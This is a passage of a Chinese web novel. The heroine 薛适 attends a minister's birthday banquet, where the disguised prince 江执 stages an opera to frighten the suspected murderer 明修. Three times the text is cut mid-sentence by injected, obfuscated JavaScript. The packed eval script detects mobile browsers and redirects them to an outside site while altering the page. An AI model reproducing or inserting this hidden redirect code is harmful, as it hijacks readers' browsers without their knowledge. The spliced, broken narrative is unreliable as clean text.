薛适关切地忙要将人扶起,沈盈袖却在看到她时眼睛骤亮,蹦蹦跳跳地,瞬间恢复了精神。 “没事没事,我就是激动得有些睡不着!”她克制着语调,小声也掩不住笑意,“阿适,原来平襄王喜欢的是你呀。” 看着沈盈袖眨巴着大眼睛,憨态可掬的模样,薛适无奈地笑了笑:“你误会了,王爷是因为王府选址定在了春水河沿岸,才想让我带他去看看。”虽确定了江执并不恨她的事实,但旁的心思,她拎得清。 沈盈袖即使好奇,却并不会不知分寸地打探其它,只悠悠道:“以我多年看话本子的经验,平襄王看你的眼神、同你说话时的语气,他真的很有可能喜欢你!” “不是的,”薛适抿唇摇了摇头,“其实是因为,王爷骨子里就是很温柔的人。只有在某些特殊处境,不得已伪装自己的时候,才会说些不好听的话隐藏真实性情,因而容易给人一种他很坏的错觉。但平常相处中,他一向对人很好的。” 被薛适这么坚定一说,沈盈袖也有点不自信了:“难道是我话本子看得不够多?还是我喜欢看的都已经不时兴了?眼力下降这么快……不行!我到时候得找徐砚问问,看看他有没有推荐的。” 正说着,就见摊前来了个人,眼窝深邃,骨相分明,偏异域的长相,让薛适和沈盈袖一下子认出了他就是当时不慎惊马的少年。 “东朔见过两位姑娘,先前害你们受惊实在抱歉。”少年拱了一礼,满脸歉然。 直到薛适和沈盈袖再三表示不必介怀,东朔才彻底松了口气,将手中提着的食盒放在摊桌上。 “王爷最近在精进烹饪之法,以求在外驻军亦可果腹,无论环境如何艰险,都能尽最大程度做出色味俱佳的吃食,保证养精蓄锐。 还请薛姑娘品尝后帮忙评判。” 薛适还没反应过来,东朔已经挠挠脑袋笑着跑开了。 “这是……给咱们的?” “是给‘薛姑娘’你的。”沈盈袖笑吟吟强调着,看了眼薛适打开的食盒,意味深长道,“啊,平襄王的厨艺看起来很不错诶。就是……他们带兵在外还能有条件做软枣糕吃吗。” 当然,远不止软枣糕。 不过沈盈袖没再看了,她得去隔壁张大娘那买几个包子吃了,闻着软枣糕的味道肚子都饿了。 但沈盈袖还是十分快乐地翘起嘴角,自信也重振了:她的话本子没白看! 先是送姑娘回家,然后是给姑娘送自己做的早饭,记路呀精进烹饪之法呀这些不用想就知是平襄王略显拙劣的借口。 沈盈袖更加坚定自己的想法。 从没有什么“一向对人很好”的平襄王,不过是因为他喜欢阿适罢了。 她就说梵文写的姻缘符准。这不,阿适亲笔写后没几天,平襄王就向皇上请求赐婚了。 但话本子里也说了,阿适属于“当局者迷”,这种事还需两人自己慢慢察觉,旁人急没用。 那她就安心地在一旁看着,不说破就好啦。 呀,想想就开心! 于是,一连几天,沈盈袖就看见—— “卯时一刻,早饭送到了,薛姑娘晨安。” 和气爱笑的。 “午时整,午饭送到了,薛姑娘午安。” 一路小跑的。 “申时二刻,枸杞饮送到了,薛姑娘趁热喝。” 身姿敏捷的。 “酉时整,晚饭送到了,薛姑娘辛苦。” 声音洪亮的。 …… 日日如此。 但每顿送餐的人并不固定,菜式和饮品也换着样式。 一开始沈盈袖还坚持去附近买着吃,后来在薛适的邀请下,终于没忍住,也跟着一起了。 即便薛适收摊后同江执说过,客栈时就已尝过他的厨艺,十分出色,不必如此费心再做给她,但这人只顾施针,回答的语气很是云淡风轻:“左右这也是他们休整期间每日训练的内容,主提速度和待人接物。速度要快,待人接物要有礼。” 薛适:“……” 竟会有如此奇特的训练方式吗?但细细想来,速度、待人接物,好像又都对得上。 不愧是他啊。 相比起待在薛适身边十分舒心的沈盈袖,徐砚的日子却是有些一言难尽。 最近几日,几个武将常来问他各式笔墨纸砚,说是主子让他们练字,文武兼修,也确实在他这买了不少。 “徐兄觉得,箕形砚和风字砚哪一个好用些?” “徐兄觉得,冰翼纸和凝霜纸哪一个写起来不容易透?” “我就是觉得我写得比你好!不信让徐兄看看,选一个出来?” …… ——问得很是频繁。 这倒也没什么,就是他们说起话时的神情太过严肃,音调也高,让徐砚常常觉得他不是在自己铺子,而是被请去了衙门。 不过因着他们几个常来,又引了不少客人光顾,生意却是比以前更红火了。 在此之前,徐砚本以为武将们说话都是要不苟言笑一些、中气十足一些,直到他空闲时去对面找薛适和沈盈袖—— 就见那几个面熟的武将笑成了花,正细着嗓音左一言“薛姑娘安好”右一语“薛姑娘辛苦”,跟叫他徐兄时的感觉一个春一个冬。 徐砚:? 看着他们隐入人群离开,徐砚才瞪着眼睛,飘忽走到摊前:“这……他们,也总来你们这?” 沈盈袖熟稔道:“是平襄王手下的不忌军。因为刚从关塞回来,要先休整几天,这几日只是依着习惯——晨跑、午跑和晚跑,刚好顺道给阿适送送吃食。” 倒是薛适捕捉到徐砚口中的“也”字:“他们去了你的铺子吗?” “嗯,说是主子让他们习字。平襄王还挺注重武将的全面培养,本以为那日我冲撞了他定是要小命不保,没想到他竟如此有眼光,还让手下人只来我这买纸砚。现在又让人给薛姑娘送吃食……”徐砚也不怪他们几个区别对待自己和薛适了,大为放心地道,“看来我不用担心平襄王再对薛姑娘动粗了,他不是斤斤计较、拿权压人的人。” 薛适原以为江执饶有兴致地说想认识一下徐砚,只是对徐砚人品的一种肯定,没想到竟真的去认识徐砚了。 虽然……不是他本人去的。 她忽然间感到茫然。 许是那时沈盈袖的一番话悄无声息间已浸入脑海,她竟不禁觉得,他的这一系列举动,真的有些像—— 喜欢她。 但若说他在表达关心,也是能说通的。 那,喜欢一个人和关心一个人的具体区别,应是什么样的呐。 她试着去代入身边的人,娘亲和父亲,娘娘和奚玄,阿雅和法师…… 这样想来,关心可以是喜欢的一部分,但未必就意味着喜欢。 她从小女扮男装,因而接触的男子要多一些,还是入宫成为书待诏后,才渐渐认识了更多女子。 她不明白,男女之间的两情相悦,与朋友之间的惺惺相惜,到底该如何分辨。 薛适决定有空问问沈盈袖和徐砚有没有推荐的话本子,她可能需要学习一下。 这边,沈盈袖和徐砚却早已自顾自地聊了起来。 “有别人担心阿适呢,你就别操心啦。”沈盈袖生怕徐砚哪句话没说对,影响到阿适和平襄王尚未明朗的感情,“你怎么对阿适这么关照呀。” 要是徐砚喜欢阿适,定是要伤心的。因为她看得出来,阿适虽没说,但心里是很喜欢平襄王的。 “那是因为我和薛姑娘有别的交情。其实我一直没说,五公主曾帮我爹了结一桩心事,我爹重病那段时日虽没告诉我他的心事为何,但信中百般强调,要我一定报答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176798|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五公主,所以我才来了长安。 只是那时候,五公主马上就要前往关塞和亲了,我不知还能如何报恩,就写了封书信以言感激,托人帮我带进了宫中。未想到,很快我就收到了五公主的回信,她让我好好生活,无需深究我爹埋藏的心事。如果非要报恩才安心,就帮她多照顾一下薛姑娘。 五公主说,薛姑娘是她很重要的人。她告诉我,薛姑娘擅助人代笔,长安城少有人考虑到百姓这方面的需求,让我只需在各坊看看,有没有额上系白色发带、喜用毛笔束发的女子,摊前立着‘语不惊人死不休’的幡子,就会是她。 何况,就算没有五公主的关系,薛姑娘也为我招来不少客人,又是女孩子,我也合该多关照她的。” 薛适缓过神时,正听到徐砚说起这些,不由一愣:“徐兄的父亲,可是扬州长临书院的前院长,徐桓应?” “正是,薛姑娘听五公主说起过?” 再度提及扬州那行有关的人,薛适心中生起绵久的怀念,不再如三年前的时候,被无能为力的悲痛占满。 他们曾为之付出的努力,虽然在昭景帝的猝然崩逝和关塞挥兵入侵的疾风骤雨中,未能如计划般将一切罪恶好好揭露,但仍旧不期然地,结出了美好的果实。 徐桓应曾为了救自己的儿子,听命江接于水中下毒伪造瘟疫,残害百姓。 幸而在生命的最后时候,心有愧疚的他,选择了全力作证偿还自己的罪孽。 逝者安息,生者安乐。 那些因果已然了结,而兜兜转转间,徐砚又以这样的方式,与他们相遇。 或许有一日,她还会像见到徐砚一样,见到阿雅、见到迟何。 而他们,应该都有在好好生活吧。 薛适看着徐砚,笑道:“嗯,我听说过徐院长,知道他很爱你。 还有,谢谢徐兄,一直在默默关照我。” - 转眼,就要到沈盈袖舅母的生辰。 薛适最后为寿词选了隶书字体,既端庄整齐,符合生辰贺礼,又不失与沈盈袖性情相配的活泼生动。 沈盈袖在薛适的指导下誊写完,反复看着寿词内容。 【隆冬忽见春色撩,缘是舅母展颜笑。 每逢今日见,期盼岁岁年—— 舅母康健长乐,不改玉颜。 盈袖敬上】 她忍不住赞道:“阿适,我只是和你简单说了下,你竟然就如此明晰了我舅母的性情!你信不信,她看过寿词后,定会让人裱起来放在卧房。” 薛适被她逗笑了,故意道:“啊,早知效果这么好,我就收你银子了,这不亏大了?” “不亏不亏,”沈盈袖扮了个鬼脸,笑道,“因为我赚了!” 正说着,东朔依着平日的时辰赶了过来。 “薛姑娘,王爷和我们要离京几日,关于薛姑娘的手需注意的……” “我知道的,”见东朔掏出张纸,正要准备念上好一段时,薛适开口道,“王爷每日都有叮嘱我,辛苦东将军特地跑一趟。” 东朔最后虽没有念,但还是将写着注意事项的纸递给薛适,让她这几日多保重,回头再见。 “诶阿适,不如舅母生辰宴那天,你同我一起去吧,省得再自己做吃食了。虽比不上平襄王给你做的精致可口,但好歹也是出自京中名厨之手,肯定不会差。” “不啦。”薛适谢过沈盈袖,却是拒绝了她的好意,“你舅母家非富即贵,即便有你在,我一个外人前去赴宴也实属冒昧。” “没关系的,我舅舅任侍郎多年,想要攀附他的人多着呢,不会注意到你的。 而且,我们家与舅母家其实并不算特别亲近,我娘亲只是舅舅的远房表妹,关键时刻可能都比不上街坊邻居。只要面上过得去,我带朋友赴宴他们也不会说什么的。” 任侍郎多年…… 薛适眉心一蹙:“盈袖,你的舅舅可是礼部侍郎明修?” 56. 观戏 在知晓沈盈袖的远房表舅是明修后,薛适未再顾及太多。几日后,同沈盈袖一起前往明府赴宴。 马车内,沈盈袖同薛适说笑几句后,开始迫不及待地翻看着从徐砚那讨到的话本子。薛适倚在窗边,看着外边后退的景象,神情渐渐凝重。 这段时日江执给她治手时曾提起过,明修是明家一众小辈中最受明文昌信任的人。此前扬州一行,明文昌极有可能交代明修去杀害江措。 虽提前给一个人设定罪名并不妥当,但江措遇害事发突然,江岑许受陷背上杀兄之名,又值回京阻止江接造反之际,他们根本没有机会同官府交涉先去搜集证据,再据此判断谁是杀害江措之人,只能暂且躲避追捕。 后来因和亲在即,五公主身负大益和平,关于其杀害兄长的言论才渐渐少去,但所有人都已默认,就是五公主杀害了最疼爱她的兄长。 如今三年过去,眼下最有效的办法只能先锁定最有可能下手的明修,再搜集证据进行还原,看看是否能够与事实印证。 也许此番前去明府未必能发现有用的线索,但机会就在眼前,一切巧合像是冥冥中的指引,她不可能放任溜走。 “到啦。” 一路思忖着,很快就到达了明修的府邸。 沈盈袖拉着薛适下马,好奇张望四周,此前都是父母赴宴,她也是第一次来明府。 薛适跟着看去,府外空荡的街巷停满了马车,赴宴的人不少,基本都带了家眷。一眼看去,公子要少些,大多是世家小姐跟在父亲身边,各个举止有度,气质不凡。 沈盈袖问过管事舅母杨氏现下的位置,带着薛适去送寿词。 两人走到南边的正厅,薛适站在不远处僻静的花园等沈盈袖出来,即便没有走近,也能听到沈盈袖甜润地说了几句讨喜话后,杨氏开始翻看寿词的窸窣声,紧接着就是她带笑的声音爽朗又泼辣:“来人,快将表小姐这副寿词给我裱上,要金色牡丹框边,就放在我卧房的梳妆台左边那处空白的墙上。” 薛适不禁低笑出声,竟真让盈袖说中了。 估摸着她差不多出来,薛适正想去迎迎,刚从花园往外走就蓦地和人撞到了一起。 薛适走得不快,因而步子收得及时,只是趔趄了下,但对方却是跌坐在了地上。 “抱歉小姐……我没想到有人在这,走得急了些。”面白如玉的青年揉揉膝盖,歉然道。 “是我站得太隐秘,公子没想到是正常的。”薛适帮他捡起散落的纸张,不经意看到上面的画,“公子是画师?” 青年点点头,心事重重:“家中老母生了病,我先前的积蓄又都用在了修缮房屋,想着今日前来,若能为明夫人画幅满意的肖像贺她生辰,应能赚些银子。” 画卷之上,青年寥寥几笔就将手持长刀的男子生动勾画,眼神犀利看向对面,挥刀的姿态势不可挡。 只是当薛适看清画中长刀的样式时,却瞬间怔在了原地,强压着心中的惊骇,她故作若无其事地道:“这刀好生特别。公子是为了配合人物自己想象的,还是……有什么参照?” 因他的画非传统的写实风格,青年并未奇怪薛适没有认出画上的人,耐心道:“是照着画的,画的就是持刀的明大人,现在想想……这画得有五年了。那时候,明大人得了把举世无双的金银钿装大刀,十分爱不释手,叫了很多人来府中作画,最后幸得大人垂青,选中了我的画。 这是那时候我给大人画的初稿,听闻明夫人对事严格,要求较高,便想着将先前给明大人作的画给夫人瞧瞧,好让她对我的画技信任一些。” 薛适摩挲着画卷边沿,掏出身上的钱袋子,“这些银子公子拿着,快回去给母亲治病吧。” “这怎么行!”见那青年欲要说拒绝的话,薛适故作羞涩地笑了笑,“也是因为我想买下这幅画。我一直崇敬明大人风采,看了这画甚是喜欢,还请……公子不要告诉别人。” 见薛适确实真心想要这幅画,话间还带着欲说还休的羞怯,那青年才愿意收下银子:“多谢小姐赏识,但这毕竟是初稿,剩下的银两你拿回去,这些已经足够我为老母治病了。” 正说着,沈盈袖远远走了过来,那青年便未再继续叨扰,将钱袋子交还给薛适又再度行了谢礼,转身朝府门的方向走了。 “我刚刚在舅母那听到,今日府中请了游目院的伶人唱戏,真是好不热闹!” 薛适疑道:“游目院……不是南风场所吗。” 沈盈袖一脸“没看出来呀,阿适你居然如此了解”的意味深长之色,解释道:“那还是五公主在的时候呢,后来五公主和亲走了,生意也冷清了,就改成了戏院,如今在京中名声很广的,阿适你居然不知道?” 江岑许和亲后,薛适只留意着与他有关的消息,不知不觉便错过了其他事。 想到先前的游目院,薛适弯了弯唇,曾以“小倌”之名蛰伏苦练的他们,如今终于能光明正大地施展才干,也有了“不忌军”这般真正属于他们的名号。 片刻的失神,沈盈袖已拉着她去找位子坐了。 “说是今日来了很多世家小姐,所以才特意准备了女儿家爱看的歌舞戏。”沈盈袖惊叹道,“没想到只是给舅母办生辰宴就这么隆重。” “是啊。” 薛适虽担心画的事,但左右不急于一时,更不想扫了沈盈袖的兴致,便和她一起找了西边人少的偏僻位子坐下。 丫鬟侍从如流水穿行,接连将各式菜品呈上。远处琴声悠扬,近处语笑交织,薛适听着沈盈袖说起每道菜式,耳边又不经意地落入另一道声音,带着散漫的笑意,熟悉非常。 “扬州请愿寺听说过吗?本王这几日去时,那的住持迟何说,本王属水命,水生木,最好和属木命的女子相伴,比如名字中带草字头的,令千金似乎不符合。” ……五行是阴阳家吧?这和佛家半点沾不上啊! 但那位大臣根本不敢说,只得陪笑说是。 然后,下一个大臣带着女儿听见的是—— “扬州请愿寺听说过吗?本王这几日去时,那的住持迟何说,本王命硬,娶妻需娶胆子大不怕死的。令千金一看见本王就低头,我怕吓到她。” 那大臣瞥了眼自家女儿,嘴角抽了抽——那明明是不好意思和你对视,害羞得低了头啊!他一个半老头子都看得出来! 还有……算命不是道家吗? 再然后,又一个大臣带着女儿听见的是—— “扬州请愿寺听说过吗?本王这几日去时,那的住持迟何说,本王整日舞刀弄枪,脾气又差,与爱笑的、脾气好的、不擅武的女子更易结缘,日后生活才会和谐。令千金武功不凡,英姿飒爽,但与本王少了缘分。” …… 因问的人越来越多,这样一路过来,沈盈袖也听到了愈来愈近的说话声,笑着朝薛适眨眨眼:“原来是平襄王来了,怪不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14195610|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日这么多世家小姐赴宴,合着都在盯平襄王的婚事呢。” 薛适想起江执方才的回答,只觉这人比自己还能胡诌,摆明了随口拿无辜的迟何挡箭。 听起来,他并无喜欢的人,为何还要急着向皇上请求赐婚呢。 难道……是想试探朝臣的态度? 若非明修默许,今日杨氏的生辰宴,朝臣不会纷纷带着家中女儿前来。 江执只需静观哪些朝臣急于同他结亲,便能知晓谁与明家走得更近。 那边,江执一身黑金鹰纹锦袍,漫不经心地把玩着手中瓷杯。 黑色衬得他身形更加挺拔威凛,但夜色下隐隐流漾的金,却将他一杯接着一杯饮酒时的举动,添上了潇洒与风流。 直到桌上盛酒的瓷壶空了,他才满意地撩起衣角,起身懒懒道:“本王饮了不少酒,出去转转清醒清醒,各位大人失陪。” 有人热络谄媚着:“王爷快些回来啊,一会儿歌舞戏该开始了。” 今日生辰宴席设于院中,主位在南,东西两侧客座一字排开。戏台则搭在北边,中间隔池相望,以免太近无法览尽歌舞戏全貌。 远处管弦声起,众人止了说笑,聚精会神看向北边戏台,等待歌舞戏开始。 为首的女子和着管弦曲奏启唇吟唱,薛适看过去,发现那女子正是五年前游目院的老鸨。 吟唱过后,台上几人开始演绎,将故事呈现。 与常见的歌舞戏不同,这个故事并非民间杂谈,也不是神话传说,讲的只是一户人家兄弟姊妹间的事。 这户人家有五个孩子,三公子幼年离世,只余其他三位公子和五小姐。 几人性情各不相同,大公子一心想要争夺家产,四公子喜外出玩乐,五小姐脾气很差,但与温柔清润的二公子兄妹感情最好,二人常在茶楼赏景品茗。 谁知有一日,二公子死在了茶楼,茶楼众人都看见是五小姐动的手,再加之五小姐本就乖戾狠辣,因而官府认定了是五小姐动的手,并未再查,一心抓捕。 五小姐无奈,只能先行逃跑,但她的心里早已有了怀疑的人选。 虽大哥与她关系最差,又执着争夺家产,却并不会为此杀害二哥,否则早就下手了,根本不会等到现在。 四哥亦不是重利益的性子。 但,四哥的外祖却始终想要染指他们的家产。 如今,大哥为争家产所使的阴谋败露,二哥已逝,她自己又受尽非议,只有四哥全然不受影响。 故事点到即止,所有伶人走向中央,仰头舞袖,层层叠叠间,只见中间的人影一身华贵的黄色衣裙,背对着众人,忽然开了口。 “二哥不是我杀的。纵使我化成白骨,变成厉鬼,我也要杀害二哥之人不得安宁,替二哥报仇。” 池水对面,明修坐于主位,握着茶杯的手止不住地抖。 其他人亦是满脸惊恐地看着戏台中央、那抹被其他伶人簇拥的黄色身影。 那人究竟是谁? 为何和五公主的声音一模一样?! 五公主不是死了吗…… 手中的白玉酒杯终是经不住明修接连不停的抖,被弹落到了地上,霎时摔成碎片。 只见那抹身影悠悠转身,明明距离很远,难以确切知晓她的目光,但明修就是觉得,她在看他。 熟悉的千叶莲面具之下,那伶人讥诮地笑了声,继续道:“你说,对不对呢?” 57. 醉橘 冷风吹皱池水,阴寒悄然升笼,丝丝浸透过空气,令人骨缝发凉。 歌舞戏终了,原本热闹的生辰宴骤然变得沉寂,众朝臣也顾不得同平襄王结亲攀势,各个人心惶惶。 明明戏台上已无任何人,但昏黄的灯影洒落,好似仍能看见那抹不可一世的孤傲身姿,着与灯影一样色泽的衣裳,像是飘荡的鬼魂,时明时暗。 众人想不明白,若是有人故意模仿,怎会做到与五公主的身形、声音、气质方方面面,皆完全相像? 又或者,五公主根本没有死在关塞,而是偷偷回来了? 可她一个手无缚鸡之力的弱女子,要如何神不知鬼不觉地回到长安?又为何偏偏选择在明修夫人的生辰宴上,登台出现? 明修则恨不得将那伶人抓来直接杀了。但顾及宴上朝臣众多,且今日不全是与明家亲厚之人赴宴,还有一些中立派及受皇帝重视培养的新人,他动作太大难免会惹人生疑。 明修烦躁地揉了揉眉心,不禁想起那日与明文昌的谈话。 彼时关于前太子、五公主、平襄王越想越乱的思绪,竟在此刻极快地闪出一个清明的念头—— 如果当年死的不是前太子,而是五公主呢? 所以要戴面具。 因为不能让人知道,活下来的并非五公主江岑许,而是太子江执。 所以平襄王给人的感觉既像幼时的太子,又像戴面具时的“五公主”。 因为——他们根本就是同一个人! 那台上的…… 思及此,明修急急看向平襄王的座位,眼前一空,心跳急剧如擂鼓。 他唤来身边的人,“平襄王呢?!” “回大人,平襄王在歌舞戏开始前,离席醒酒去了。” 脑中“轰”地一下,明修站得僵直的身子不由向后歪了歪,直接跌回座位。 ——全都对上了。 浑身血液像是倒流,让他只觉不寒而栗,细思极恐。 沈盈袖及一众世家小姐未见过五公主,因而并无其他想法,只觉歌舞戏好看,故事也足够特别。 薛适看着已经空荡的戏台,仍无法抽离回神,眼前不受抑制地蒙起水雾,模糊而酸胀地掀起戏中故事所说的三年前,她在见南山最后看到江措倒在血泊的画面。 那日后,她和江岑许一起奔逃,他们有太多的愤懑和悲痛,却因缺少足够抗衡江接和明文昌的权势与人手,最终只能咬牙隐忍捱过。 但今日的江执,在站于戏台中央的那一刻,好像又回到了大明宫宣微殿中那个永远张扬的“五公主”。 区别在于,曾经的他是为藏拙,故意给自己招来不好的名声。 但如今,他有了自己的势力,是京城中人人忌惮、争相攀附的王爷。 他既敢如此在明修面前演戏挑衅,定是有了准备。 而她,也抓到了真正杀害江措之人的线索。 江措曾隐秘递到她手中的瑟瑟与青年为明修所作的执刀之画完全相和。 那是金银钿装大刀,与寻常的刀相比,除了刀身锋利、削发如泥之外,样式也最为独特。鞘柄为鲛皮制,且有金银镂空镶嵌,其中最为名贵的饰品就是宝石瑟瑟,碧绿清透,恰是相配。 她此前想过很多次这枚瑟瑟的用意,也找人问询过,但从没有一个答案是出自刀鞘。 下意识看向江执空着的座位,薛适朝身旁的人轻声道:“盈袖,一会下宴我找王爷说些事,你先回去便是,不用担心我。” - 池水对面,再次成为江岑许,江执却是没有丝毫不适应,冷眼看着对岸的动静,他嘲讽地勾了勾唇,闪身进入暗处,换好来时的黑金衣袍,将近似五公主的黄色宫装扔进早已架起的火堆里。 曾在游目院假扮老鸨的女子带着其余姑娘整理着东西,脚下步伐却是移动默契,不着痕迹地将他离去的身形遮掩。 宴会比预计中的更早结束,江执回到座位没待一会儿,也起身往外走,迎面遇上明修乐呵呵地朝他见礼。 “平襄王在关塞待得久,可是吃不惯长安的菜式?见你没吃几口就离了席,想是不合口味。” “怎么会?”江执淡淡掀起眼皮,眉梢轻挑了下,语气也慢,“明侍郎府里的菜肴甚是好吃,酒够醇冽,一番下来本王都喝醉了。 府上风景也好,尤其对岸西北柏树边上的观亭榭,临池靠花,宁静适意,真是醒酒的好去处,本王坐了会,头脑清醒不少。” 江执身上酒味明显,观亭榭的位置说得也准确,明修只得面上堆笑,端着无比亲切的模样:“是,我也常坐在观亭榭,尤其夏日池中荷花盛开,更是美不胜收。鄙人方才还担心王爷没能看成歌舞戏,听得王爷在观亭榭,那位置应是能看到,便放了心,不然招待不周实属罪过。 就是今日的歌舞戏实在不算好,游目院的伶人仗着和五公主相像,竟直接假扮五公主哗众取宠,回头我定要看看到底是何人如此大胆。” “是吗?”江执眼眸微眯,疑惑不解的模样,“本王虽久闻五公主名号,但毕竟头一回到长安,此前一直没见过,只顾赞叹今晚的歌舞戏实在精彩。不过,”他顿了顿,走近了些,好奇打量着明修,直盯得明修发怵,才勾唇笑道,“明侍郎对五公主还挺仰慕,如此念念不忘,只是演戏的伶人与五公主像了些,就这般激动。 五公主已逝,那伶人不过演绎了一段编造的故事,也没有诋毁和侮辱五公主,似乎也算不上哗众取宠。 还是,你在害怕什么?” 明修虎躯一震,他今晚并未饮多少酒,却在这一瞬,真切觉得站在眼前的人就是五公主。 他不断眨着眼,下一瞬,又看见二皇子重重倒下的身影。 不会的,不会的…… 所有一切他都已经处理好了,不会有人发现的,这只是巧合,只是巧合…… 江执状若丝毫未觉明修的异样,挥袖拍了拍他的肩膀,熟稔道:“走了啊,明侍郎劳累一天,早些休息。” …… 这一迟,明府外面已无其它马车,人早走得差不多。 江执厌恶地扯了扯衣领,他不算喜欢饮酒,但今日为了做戏全面,特意饮了不少,只觉周遭空气都是黏腻的味道。 蹙眉欲朝唯一的那辆马车走,背对月光的暗影处,只一方大致的黑色轮廓停驻,但在他迈出步伐的那一刻,马车的轮廓多了抹灵动的身影,蓦地破开黑暗,淋着月光几步跑向他。 薛适的眉眼在他眼前一点一点清晰,江执愣了下:“你今日也来了?” “嗯,明夫人是盈袖的舅母,我陪她过来的。”今日和江执一起过来的是临辞,薛适提前从临辞手里取过江执的斗篷主动给他披好,此刻斗篷冰凉的面料因沾了许久她身上的体温,已暖了许多,江执指尖触了触垂曳的斗篷,弯了弯唇,抬眸看向薛适,她的声音关切温和,亦如斗篷上的温度。 “王爷今日饮了很多酒,我离席早,去附近的茶楼要了些晒干的橘子皮和盐,刚好马车上临辞备了壶热水,煮开喝连带橘子皮一同吃下醒酒效果极佳,王爷试试。” 说话间,两人已登上马车,江执将盛着橘皮茶的玉兰杯送入唇边,瓷白之下笑意更加明显:“你怎么知道我喝了不少酒?” “我看见来着。” “那,没听见什么吗。” 薛适扯唇笑了笑,些许无奈的意味:“听到王爷拿迟何做挡箭牌,将那些意欲结亲的朝臣们噎住了。” “不是挡箭牌。”江执放下茶杯,慵懒靠在窗边,却是目不转睛地看着她,“我确实,挺喜欢那样的。” 那样的…… 薛适回忆了下,属木命、胆子大不怕死、脾气好…… 就见眼前的人蹙眉思索了会,忽地眉目一扬,仰起脸问他:“王爷是喜欢像花神女夷一样的女子?” “……?”江执抿了抿唇,半晌才落下个几乎气声的“嗯”,压得极低,音调也沉,听起来像是无可奈何却又忍俊不禁。 他未再继续说下去,生怕某个人越想越偏,也怕自己没有掌握好分寸,不可抑制地说出什么会把她吓到,只好不动声色地换了个话题:“你特意等我出来,就是为了给我送醒酒茶?” 江执没想到,他只是为了多听一听她的声音才随口提起的问题,却会让薛适眸光一黯。她低垂着头,声音也有些轻:“王爷是不是……有明大人杀害二皇子的线索了?” 薛适知道,他做事一向思虑深远,如此明目张胆地演这出歌舞戏,不会只是为了制造混乱,为曾经蒙受冤屈的自己出气。 “是。”江执也不觉意外,薛适本就聪明,又对他了解颇深,说道,“我这次去扬州就是为了搜集曾经没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199382|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及调查的线索,官府的卷宗、见南山掌柜等人的证词、过所文书,皆已发现端倪,足够证明杀害二哥的人就是明修。 皇上的性子你也知道,纯善赤城、重情重义,即便明文昌再架空他的权力、再想为此事遮掩,但对于二哥的死,皇上定会彻查到底。 明修无论如何也逃不掉,而我就是要他在看了这出戏后,像是见不得光的老鼠,心惊胆战、疑神疑鬼,不断回想自己动手时有无遗漏的细节,再与明文昌一起到处找补隐瞒,最终费尽心机依旧只有一场空,难逃一死。” 似乎很久没有看到这般张扬的他了。 常说着不好听却很正确的话,棱角锐利、笑容讥诮,好似不是别人不喜欢他,而是他看不上任何人,嚣张肆意、毫不惧怕。 薛适浅浅翘起唇角,心中更加安定,她将一直贴身携带的瑟瑟和今日从青年那买到的画一同递给江执,将前因后果说了通。 “我总是在想,若二皇子还活着,会是什么样? 他应该很惊讶王爷的身份,也会很开心王爷能做回自己,还会跟盈袖和徐兄一样常来摊前。 在没有为他找到凶手的每一天,好像只要感受到幸福,我都会不自觉地想起,他在我面前闭上眼,诀别的画面。” 薛适唇瓣微颤,刻意伪装出自己没事的笑容,破碎又缥缈,江执听见她说:“王爷,我很想二皇子。” 心倏然坠入冰底,所有复杂的情绪也被冰封冻结。 他一直都知晓,江措生前对薛适的心意,甚至比江措本人察觉得都要早。 那……她呢。 唇舌间萦绕的橘子味道因停留太久,渐渐发苦发涩。 所以,她特意等他,其实是为了告诉他这些证据,醒酒茶也只是因她向来温和亲切,做出的礼貌之举。 他欣喜于她愿意把内心脆弱的情绪同他说出,但又卑劣地只想独占她所有的喜怒哀乐。 马车已驶到薛适家门前,江执扶她下车时,能清楚感受到她微凉手指间轻轻的颤抖,因为他的触碰。 但令他放心的是,经过这段时间的施针,她受过拶刑的手基本已无大碍,灵动敏觉,亦如从前。 薛适和在明府外面等他时一样,笑着朝他挥手,然后转身往大门那走。 他喉咙发紧,声音先于脑中指令落下,“薛适。” 她打开院门回头,而江执不知什么时候已站在她身后。这一转身,紧仄的距离间,薛适脚下难以站稳不禁一滑,就要朝后栽去。 江执伸手,一把揽住她的腰,顺势将她扶靠在门上,欺身逼近,垂眸紧紧盯着她:“今晚你如果没有发现那幅画,还会在门外等我吗。” 薛适背贴在铁门,除了坚硬的触感外,并未受到撞痛。 出于各种各样的缘由,她同他有过很多次触碰。但这一次,他按在她腰间的双手,却让她觉得,好像有什么变得不一样了。 也许是他过分灼热的目光,也许是他没来由的这句话。 